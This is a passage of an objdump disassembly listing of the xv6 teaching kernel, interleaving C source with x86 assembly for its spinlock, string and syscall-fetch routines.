getcallerpcs(void *v, uint pcs[]) { 801040e0: 55 push %ebp 801040e1: 89 e5 mov %esp,%ebp uint *ebp; int i; ebp = (uint*)v - 2; 801040e3: 8b 45 08 mov 0x8(%ebp),%eax } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 801040e6: 8b 4d 0c mov 0xc(%ebp),%ecx 801040e9: 53 push %ebx uint *ebp; int i; ebp = (uint*)v - 2; 801040ea: 8d 50 f8 lea -0x8(%eax),%edx for(i = 0; i < 10; i++){ 801040ed: 31 c0 xor %eax,%eax 801040ef: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 801040f0: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 801040f6: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 801040fc: 77 1a ja 80104118 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 801040fe: 8b 5a 04 mov 0x4(%edx),%ebx 80104101: 89 1c 81 mov %ebx,(%ecx,%eax,4) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104104: 83 c0 01 add $0x1,%eax if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp 80104107: 8b 12 mov (%edx),%edx { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104109: 83 f8 0a cmp $0xa,%eax 8010410c: 75 e2 jne 801040f0 <getcallerpcs+0x10> pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; } 8010410e: 5b pop %ebx 8010410f: 5d pop %ebp 80104110: c3 ret 80104111: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; 80104118: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 8010411f: 83 c0 01 add $0x1,%eax 80104122: 83 f8 0a cmp $0xa,%eax 80104125: 74 e7 je 8010410e <getcallerpcs+0x2e> pcs[i] = 0; 80104127: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 8010412e: 83 c0 01 add $0x1,%eax 80104131: 83 f8 0a cmp $0xa,%eax 80104134: 75 e2 jne 80104118 <getcallerpcs+0x38> 80104136: eb d6 jmp 8010410e <getcallerpcs+0x2e> 80104138: 90 nop 80104139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104140 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80104140: 55 push %ebp 80104141: 89 e5 mov %esp,%ebp 80104143: 53 push %ebx 80104144: 83 ec 04 sub $0x4,%esp 80104147: 9c pushf 80104148: 5b pop %ebx } static inline void cli(void) { asm volatile("cli"); 80104149: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 8010414a: e8 c1 f4 ff ff call 80103610 <mycpu> 8010414f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104155: 85 c0 test %eax,%eax 80104157: 75 11 jne 8010416a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104159: e8 b2 f4 ff ff call 80103610 <mycpu> 8010415e: 81 e3 00 02 00 00 and $0x200,%ebx 80104164: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010416a: e8 a1 f4 ff ff call 80103610 <mycpu> 8010416f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104176: 83 c4 04 add $0x4,%esp 80104179: 5b pop %ebx 8010417a: 5d pop %ebp 8010417b: c3 ret 8010417c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104180 <popcli>: void popcli(void) { 80104180: 55 push %ebp 80104181: 89 e5 mov %esp,%ebp 80104183: 83 ec 18 sub $0x18,%esp static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104186: 9c pushf 80104187: 58 pop %eax if(readeflags()&FL_IF) 80104188: f6 c4 02 test $0x2,%ah 8010418b: 75 49 jne 801041d6 <popcli+0x56> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 8010418d: e8 7e f4 ff ff call 80103610 <mycpu> 80104192: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx 80104198: 8d 51 ff lea -0x1(%ecx),%edx 8010419b: 85 d2 test %edx,%edx 8010419d: 89 90 a4 00 00 00 mov %edx,0xa4(%eax) 801041a3: 78 25 js 801041ca <popcli+0x4a> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801041a5: e8 66 f4 ff ff call 80103610 <mycpu> 801041aa: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 801041b0: 85 d2 test %edx,%edx 801041b2: 74 04 je 801041b8 <popcli+0x38> sti(); } 801041b4: c9 leave 801041b5: c3 ret 801041b6: 66 90 xchg %ax,%ax { if(readeflags()&FL_IF) panic("popcli - interruptible"); if(--mycpu()->ncli < 0) panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801041b8: e8 53 f4 ff ff call 80103610 <mycpu> 801041bd: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801041c3: 85 c0 test %eax,%eax 801041c5: 74 ed je 801041b4 <popcli+0x34> } static inline void sti(void) { asm volatile("sti"); 801041c7: fb sti sti(); } 801041c8: c9 leave 801041c9: c3 ret popcli(void) { if(readeflags()&FL_IF) panic("popcli - interruptible"); if(--mycpu()->ncli < 0) panic("popcli"); 801041ca: c7 04 24 fa 76 10 80 movl $0x801076fa,(%esp) 801041d1: e8 8a c1 ff ff call 80100360 <panic> void popcli(void) { if(readeflags()&FL_IF) panic("popcli - interruptible"); 801041d6: c7 04 24 e3 76 10 80 movl $0x801076e3,(%esp) 801041dd: e8 7e c1 ff ff call 80100360 <panic> 801041e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801041e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041f0 <holding>: } // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 801041f0: 55 push %ebp 801041f1: 89 e5 mov %esp,%ebp 801041f3: 56 push %esi int r; pushcli(); r = lock->locked && lock->cpu == mycpu(); 801041f4: 31 f6 xor %esi,%esi } // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 801041f6: 53 push %ebx 801041f7: 8b 5d 08 mov 0x8(%ebp),%ebx int r; pushcli(); 801041fa: e8 41 ff ff ff call 80104140 <pushcli> r = lock->locked && lock->cpu == mycpu(); 801041ff: 8b 03 mov (%ebx),%eax 80104201: 85 c0 test %eax,%eax 80104203: 74 12 je 80104217 <holding+0x27> 80104205: 8b 5b 08 mov 0x8(%ebx),%ebx 80104208: e8 03 f4 ff ff call 80103610 <mycpu> 8010420d: 39 c3 cmp %eax,%ebx 8010420f: 0f 94 c0 sete %al 80104212: 0f b6 c0 movzbl %al,%eax 80104215: 89 c6 mov %eax,%esi popcli(); 80104217: e8 64 ff ff ff call 80104180 <popcli> return r; } 8010421c: 89 f0 mov %esi,%eax 8010421e: 5b pop %ebx 8010421f: 5e pop %esi 80104220: 5d pop %ebp 80104221: c3 ret 80104222: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104230 <acquire>: // Loops (spins) until the lock is acquired. // Holding a lock for a long time may cause // other CPUs to waste time spinning to acquire it. void acquire(struct spinlock *lk) { 80104230: 55 push %ebp 80104231: 89 e5 mov %esp,%ebp 80104233: 53 push %ebx 80104234: 83 ec 14 sub $0x14,%esp pushcli(); // disable interrupts to avoid deadlock. 80104237: e8 04 ff ff ff call 80104140 <pushcli> if(holding(lk)) 8010423c: 8b 45 08 mov 0x8(%ebp),%eax 8010423f: 89 04 24 mov %eax,(%esp) 80104242: e8 a9 ff ff ff call 801041f0 <holding> 80104247: 85 c0 test %eax,%eax 80104249: 75 3c jne 80104287 <acquire+0x57> xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 8010424b: b9 01 00 00 00 mov $0x1,%ecx panic("acquire"); // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 80104250: 8b 55 08 mov 0x8(%ebp),%edx 80104253: 89 c8 mov %ecx,%eax 80104255: f0 87 02 lock xchg %eax,(%edx) 80104258: 85 c0 test %eax,%eax 8010425a: 75 f4 jne 80104250 <acquire+0x20> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 8010425c: f0 83 0c 24 00 lock orl $0x0,(%esp) // Record info about lock acquisition for debugging. lk->cpu = mycpu(); 80104261: 8b 5d 08 mov 0x8(%ebp),%ebx 80104264: e8 a7 f3 ff ff call 80103610 <mycpu> 80104269: 89 43 08 mov %eax,0x8(%ebx) getcallerpcs(&lk, lk->pcs); 8010426c: 8b 45 08 mov 0x8(%ebp),%eax 8010426f: 83 c0 0c add $0xc,%eax 80104272: 89 44 24 04 mov %eax,0x4(%esp) 80104276: 8d 45 08 lea 0x8(%ebp),%eax 80104279: 89 04 24 mov %eax,(%esp) 8010427c: e8 5f fe ff ff call 801040e0 <getcallerpcs> } 80104281: 83 c4 14 add $0x14,%esp 80104284: 5b pop %ebx 80104285: 5d pop %ebp 80104286: c3 ret void acquire(struct spinlock *lk) { pushcli(); // disable interrupts to avoid deadlock. if(holding(lk)) panic("acquire"); 80104287: c7 04 24 01 77 10 80 movl $0x80107701,(%esp) 8010428e: e8 cd c0 ff ff call 80100360 <panic> 80104293: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801042a0 <release>: } // Release the lock. void release(struct spinlock *lk) { 801042a0: 55 push %ebp 801042a1: 89 e5 mov %esp,%ebp 801042a3: 53 push %ebx 801042a4: 83 ec 14 sub $0x14,%esp 801042a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 801042aa: 89 1c 24 mov %ebx,(%esp) 801042ad: e8 3e ff ff ff call 801041f0 <holding> 801042b2: 85 c0 test %eax,%eax 801042b4: 74 23 je 801042d9 <release+0x39> panic("release"); lk->pcs[0] = 0; 801042b6: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 801042bd: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that all the stores in the critical // section are visible to other cores before the lock is released. // Both the C compiler and the hardware may re-order loads and // stores; __sync_synchronize() tells them both not to. __sync_synchronize(); 801042c4: f0 83 0c 24 00 lock orl $0x0,(%esp) // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 801042c9: c7 03 00 00 00 00 movl $0x0,(%ebx) popcli(); } 801042cf: 83 c4 14 add $0x14,%esp 801042d2: 5b pop %ebx 801042d3: 5d pop %ebp // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); popcli(); 801042d4: e9 a7 fe ff ff jmp 80104180 <popcli> // Release the lock. void release(struct spinlock *lk) { if(!holding(lk)) panic("release"); 801042d9: c7 04 24 09 77 10 80 movl $0x80107709,(%esp) 801042e0: e8 7b c0 ff ff call 80100360 <panic> 801042e5: 66 90 xchg %ax,%ax 801042e7: 66 90 xchg %ax,%ax 801042e9: 66 90 xchg %ax,%ax 801042eb: 66 90 xchg %ax,%ax 801042ed: 66 90 xchg %ax,%ax 801042ef: 90 nop 801042f0 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 801042f0: 55 push %ebp 801042f1: 89 e5 mov %esp,%ebp 801042f3: 8b 55 08 mov 0x8(%ebp),%edx 801042f6: 57 push %edi 801042f7: 8b 4d 10 mov 0x10(%ebp),%ecx 801042fa: 53 push %ebx if ((int)dst%4 == 0 && n%4 == 0){ 801042fb: f6 c2 03 test $0x3,%dl 801042fe: 75 05 jne 80104305 <memset+0x15> 80104300: f6 c1 03 test $0x3,%cl 80104303: 74 13 je 80104318 <memset+0x28> } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 80104305: 89 d7 mov %edx,%edi 80104307: 8b 45 0c mov 0xc(%ebp),%eax 8010430a: fc cld 8010430b: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 8010430d: 5b pop %ebx 8010430e: 89 d0 mov %edx,%eax 80104310: 5f pop %edi 80104311: 5d pop %ebp 80104312: c3 ret 80104313: 90 nop 80104314: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi void* memset(void *dst, int c, uint n) { if ((int)dst%4 == 0 && n%4 == 0){ c &= 0xFF; 80104318: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 8010431c: c1 e9 02 shr $0x2,%ecx 8010431f: 89 f8 mov %edi,%eax 80104321: 89 fb mov %edi,%ebx 80104323: c1 e0 18 shl $0x18,%eax 80104326: c1 e3 10 shl $0x10,%ebx 80104329: 09 d8 or %ebx,%eax 8010432b: 09 f8 or %edi,%eax 8010432d: c1 e7 08 shl $0x8,%edi 80104330: 09 f8 or %edi,%eax } static inline void stosl(void *addr, int data, int cnt) { asm volatile("cld; rep stosl" : 80104332: 89 d7 mov %edx,%edi 80104334: fc cld 80104335: f3 ab rep stos %eax,%es:(%edi) } else stosb(dst, c, n); return dst; } 80104337: 5b pop %ebx 80104338: 89 d0 mov %edx,%eax 8010433a: 5f pop %edi 8010433b: 5d pop %ebp 8010433c: c3 ret 8010433d: 8d 76 00 lea 0x0(%esi),%esi 80104340 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80104340: 55 push %ebp 80104341: 89 e5 mov %esp,%ebp 80104343: 8b 45 10 mov 0x10(%ebp),%eax 80104346: 57 push %edi 80104347: 56 push %esi 80104348: 8b 75 0c mov 0xc(%ebp),%esi 8010434b: 53 push %ebx 8010434c: 8b 5d 08 mov 0x8(%ebp),%ebx const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 8010434f: 85 c0 test %eax,%eax 80104351: 8d 78 ff lea -0x1(%eax),%edi 80104354: 74 26 je 8010437c <memcmp+0x3c> if(*s1 != *s2) 80104356: 0f b6 03 movzbl (%ebx),%eax 80104359: 31 d2 xor %edx,%edx 8010435b: 0f b6 0e movzbl (%esi),%ecx 8010435e: 38 c8 cmp %cl,%al 80104360: 74 16 je 80104378 <memcmp+0x38> 80104362: eb 24 jmp 80104388 <memcmp+0x48> 80104364: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104368: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax 8010436d: 83 c2 01 add $0x1,%edx 80104370: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104374: 38 c8 cmp %cl,%al 80104376: 75 10 jne 80104388 <memcmp+0x48> { const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 80104378: 39 fa cmp %edi,%edx 8010437a: 75 ec jne 80104368 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 8010437c: 5b pop %ebx if(*s1 != *s2) return *s1 - *s2; s1++, s2++; } return 0; 8010437d: 31 c0 xor %eax,%eax } 8010437f: 5e pop %esi 80104380: 5f pop %edi 80104381: 5d pop %ebp 80104382: c3 ret 80104383: 90 nop 80104384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104388: 5b pop %ebx s1 = v1; s2 = v2; while(n-- > 0){ if(*s1 != *s2) return *s1 - *s2; 80104389: 29 c8 sub %ecx,%eax s1++, s2++; } return 0; } 8010438b: 5e pop %esi 8010438c: 5f pop %edi 8010438d: 5d pop %ebp 8010438e: c3 ret 8010438f: 90 nop 80104390 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104390: 55 push %ebp 80104391: 89 e5 mov %esp,%ebp 80104393: 57 push %edi 80104394: 8b 45 08 mov 0x8(%ebp),%eax 80104397: 56 push %esi 80104398: 8b 75 0c mov 0xc(%ebp),%esi 8010439b: 53 push %ebx 8010439c: 8b 5d 10 mov 0x10(%ebp),%ebx const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 8010439f: 39 c6 cmp %eax,%esi 801043a1: 73 35 jae 801043d8 <memmove+0x48> 801043a3: 8d 0c 1e lea (%esi,%ebx,1),%ecx 801043a6: 39 c8 cmp %ecx,%eax 801043a8: 73 2e jae 801043d8 <memmove+0x48> s += n; d += n; while(n-- > 0) 801043aa: 85 db test %ebx,%ebx s = src; d = dst; if(s < d && s + n > d){ s += n; d += n; 801043ac: 8d 3c 18 lea (%eax,%ebx,1),%edi while(n-- > 0) 801043af: 8d 53 ff lea -0x1(%ebx),%edx 801043b2: 74 1b je 801043cf <memmove+0x3f> 801043b4: f7 db neg %ebx 801043b6: 8d 34 19 lea (%ecx,%ebx,1),%esi 801043b9: 01 fb add %edi,%ebx 801043bb: 90 nop 801043bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *--d = *--s; 801043c0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 801043c4: 88 0c 13 mov %cl,(%ebx,%edx,1) s = src; d = dst; if(s < d && s + n > d){ s += n; d += n; while(n-- > 0) 801043c7: 83 ea 01 sub $0x1,%edx 801043ca: 83 fa ff cmp $0xffffffff,%edx 801043cd: 75 f1 jne 801043c0 <memmove+0x30> } else while(n-- > 0) *d++ = *s++; return dst; } 801043cf: 5b pop %ebx 801043d0: 5e pop %esi 801043d1: 5f pop %edi 801043d2: 5d pop %ebp 801043d3: c3 ret 801043d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 801043d8: 31 d2 xor %edx,%edx 801043da: 85 db test %ebx,%ebx 801043dc: 74 f1 je 801043cf <memmove+0x3f> 801043de: 66 90 xchg %ax,%ax *d++ = *s++; 801043e0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 801043e4: 88 0c 10 mov %cl,(%eax,%edx,1) 801043e7: 83 c2 01 add $0x1,%edx s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 801043ea: 39 da cmp %ebx,%edx 801043ec: 75 f2 jne 801043e0 <memmove+0x50> *d++ = *s++; return dst; } 801043ee: 5b pop %ebx 801043ef: 5e pop %esi 801043f0: 5f pop %edi 801043f1: 5d pop %ebp 801043f2: c3 ret 801043f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801043f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104400 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104400: 55 push %ebp 80104401: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 80104403: 5d pop %ebp // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { return memmove(dst, src, n); 80104404: e9 87 ff ff ff jmp 80104390 <memmove> 80104409: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104410 <strncmp>: } int strncmp(const char *p, const char *q, uint n) { 80104410: 55 push %ebp 80104411: 89 e5 mov %esp,%ebp 80104413: 56 push %esi 80104414: 8b 75 10 mov 0x10(%ebp),%esi 80104417: 53 push %ebx 80104418: 8b 4d 08 mov 0x8(%ebp),%ecx 8010441b: 8b 5d 0c mov 0xc(%ebp),%ebx while(n > 0 && *p && *p == *q) 8010441e: 85 f6 test %esi,%esi 80104420: 74 30 je 80104452 <strncmp+0x42> 80104422: 0f b6 01 movzbl (%ecx),%eax 80104425: 84 c0 test %al,%al 80104427: 74 2f je 80104458 <strncmp+0x48> 80104429: 0f b6 13 movzbl (%ebx),%edx 8010442c: 38 d0 cmp %dl,%al 8010442e: 75 46 jne 80104476 <strncmp+0x66> 80104430: 8d 51 01 lea 0x1(%ecx),%edx 80104433: 01 ce add %ecx,%esi 80104435: eb 14 jmp 8010444b <strncmp+0x3b> 80104437: 90 nop 80104438: 0f b6 02 movzbl (%edx),%eax 8010443b: 84 c0 test %al,%al 8010443d: 74 31 je 80104470 <strncmp+0x60> 8010443f: 0f b6 19 movzbl (%ecx),%ebx 80104442: 83 c2 01 add $0x1,%edx 80104445: 38 d8 cmp %bl,%al 80104447: 75 17 jne 80104460 <strncmp+0x50> n--, p++, q++; 80104449: 89 cb mov %ecx,%ebx } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 8010444b: 39 f2 cmp %esi,%edx n--, p++, q++; 8010444d: 8d 4b 01 lea 0x1(%ebx),%ecx } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 80104450: 75 e6 jne 80104438 <strncmp+0x28> n--, p++, q++; if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 80104452: 5b pop %ebx strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) n--, p++, q++; if(n == 0) return 0; 80104453: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } 80104455: 5e pop %esi 80104456: 5d pop %ebp 80104457: c3 ret 80104458: 0f b6 1b movzbl (%ebx),%ebx } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 8010445b: 31 c0 xor %eax,%eax 8010445d: 8d 76 00 lea 0x0(%esi),%esi n--, p++, q++; if(n == 0) return 0; return (uchar)*p - (uchar)*q; 80104460: 0f b6 d3 movzbl %bl,%edx 80104463: 29 d0 sub %edx,%eax } 80104465: 5b pop %ebx 80104466: 5e pop %esi 80104467: 5d pop %ebp 80104468: c3 ret 80104469: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104470: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx 80104474: eb ea jmp 80104460 <strncmp+0x50> } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 80104476: 89 d3 mov %edx,%ebx 80104478: eb e6 jmp 80104460 <strncmp+0x50> 8010447a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104480 <strncpy>: return (uchar)*p - (uchar)*q; } char* strncpy(char *s, const char *t, int n) { 80104480: 55 push %ebp 80104481: 89 e5 mov %esp,%ebp 80104483: 8b 45 08 mov 0x8(%ebp),%eax 80104486: 56 push %esi 80104487: 8b 4d 10 mov 0x10(%ebp),%ecx 8010448a: 53 push %ebx 8010448b: 8b 5d 0c mov 0xc(%ebp),%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 8010448e: 89 c2 mov %eax,%edx 80104490: eb 19 jmp 801044ab <strncpy+0x2b> 80104492: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104498: 83 c3 01 add $0x1,%ebx 8010449b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 8010449f: 83 c2 01 add $0x1,%edx 801044a2: 84 c9 test %cl,%cl 801044a4: 88 4a ff mov %cl,-0x1(%edx) 801044a7: 74 09 je 801044b2 <strncpy+0x32> 801044a9: 89 f1 mov %esi,%ecx 801044ab: 85 c9 test %ecx,%ecx 801044ad: 8d 71 ff lea -0x1(%ecx),%esi 801044b0: 7f e6 jg 80104498 <strncpy+0x18> ; while(n-- > 0) 801044b2: 31 c9 xor %ecx,%ecx 801044b4: 85 f6 test %esi,%esi 801044b6: 7e 0f jle 801044c7 <strncpy+0x47> *s++ = 0; 801044b8: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 801044bc: 89 f3 mov %esi,%ebx 801044be: 83 c1 01 add $0x1,%ecx 801044c1: 29 cb sub %ecx,%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) ; while(n-- > 0) 801044c3: 85 db test %ebx,%ebx 801044c5: 7f f1 jg 801044b8 <strncpy+0x38> *s++ = 0; return os; } 801044c7: 5b pop %ebx 801044c8: 5e pop %esi 801044c9: 5d pop %ebp 801044ca: c3 ret 801044cb: 90 nop 801044cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801044d0 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 801044d0: 55 push %ebp 801044d1: 89 e5 mov %esp,%ebp 801044d3: 8b 4d 10 mov 0x10(%ebp),%ecx 801044d6: 56 push %esi 801044d7: 8b 45 08 mov 0x8(%ebp),%eax 801044da: 53 push %ebx 801044db: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 801044de: 85 c9 test %ecx,%ecx 801044e0: 7e 26 jle 80104508 <safestrcpy+0x38> 801044e2: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 801044e6: 89 c1 mov %eax,%ecx 801044e8: eb 17 jmp 80104501 <safestrcpy+0x31> 801044ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 801044f0: 83 c2 01 add $0x1,%edx 801044f3: 0f b6 5a ff movzbl -0x1(%edx),%ebx 801044f7: 83 c1 01 add $0x1,%ecx 801044fa: 84 db test %bl,%bl 801044fc: 88 59 ff mov %bl,-0x1(%ecx) 801044ff: 74 04 je 80104505 <safestrcpy+0x35> 80104501: 39 f2 cmp %esi,%edx 80104503: 75 eb jne 801044f0 <safestrcpy+0x20> ; *s = 0; 80104505: c6 01 00 movb $0x0,(%ecx) return os; } 80104508: 5b pop %ebx 80104509: 5e pop %esi 8010450a: 5d pop %ebp 8010450b: c3 ret 8010450c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104510 <strlen>: int strlen(const char *s) { 80104510: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104511: 31 c0 xor %eax,%eax return os; } int strlen(const char *s) { 80104513: 89 e5 mov %esp,%ebp 80104515: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 80104518: 80 3a 00 cmpb $0x0,(%edx) 8010451b: 74 0c je 80104529 <strlen+0x19> 8010451d: 8d 76 00 lea 0x0(%esi),%esi 80104520: 83 c0 01 add $0x1,%eax 80104523: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 80104527: 75 f7 jne 80104520 <strlen+0x10> ; return n; } 80104529: 5d pop %ebp 8010452a: c3 ret 8010452b <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 8010452b: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 8010452f: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 80104533: 55 push %ebp pushl %ebx 80104534: 53 push %ebx pushl %esi 80104535: 56 push %esi pushl %edi 80104536: 57 push %edi # Switch stacks movl %esp, (%eax) 80104537: 89 20 mov %esp,(%eax) movl %edx, %esp 80104539: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 8010453b: 5f pop %edi popl %esi 8010453c: 5e pop %esi popl %ebx 8010453d: 5b pop %ebx popl %ebp 8010453e: 5d pop %ebp ret 8010453f: c3 ret 80104540 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 80104540: 55 push %ebp 80104541: 89 e5 mov %esp,%ebp 80104543: 53 push %ebx 80104544: 83 ec 04 sub $0x4,%esp 80104547: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 8010454a: e8 61 f1 ff ff call 801036b0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 8010454f: 8b 00 mov (%eax),%eax 80104551: 39 d8 cmp %ebx,%eax 80104553: 76 1b jbe 80104570 <fetchint+0x30> 80104555: 8d 53 04 lea 0x4(%ebx),%edx 80104558: 39 d0 cmp %edx,%eax 8010455a: 72 14 jb 80104570 <fetchint+0x30> return -1; *ip = *(int*)(addr); 8010455c: 8b 45 0c mov 0xc(%ebp),%eax 8010455f: 8b 13 mov (%ebx),%edx 80104561: 89 10 mov %edx,(%eax) return 0; 80104563: 31 c0 xor %eax,%eax } 80104565: 83 c4 04 add $0x4,%esp 80104568: 5b pop %ebx 80104569: 5d pop %ebp 8010456a: c3 ret 8010456b: 90 nop 8010456c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); if(addr >= curproc->sz || addr+4 > curproc->sz) return -1; 80104570: b8 ff ff ff ff mov $0xffffffff,%eax 80104575: eb ee jmp 80104565 <fetchint+0x25> 80104577: 89 f6 mov %esi,%esi 80104579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104580 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 80104580: 55 push %ebp 80104581: 89 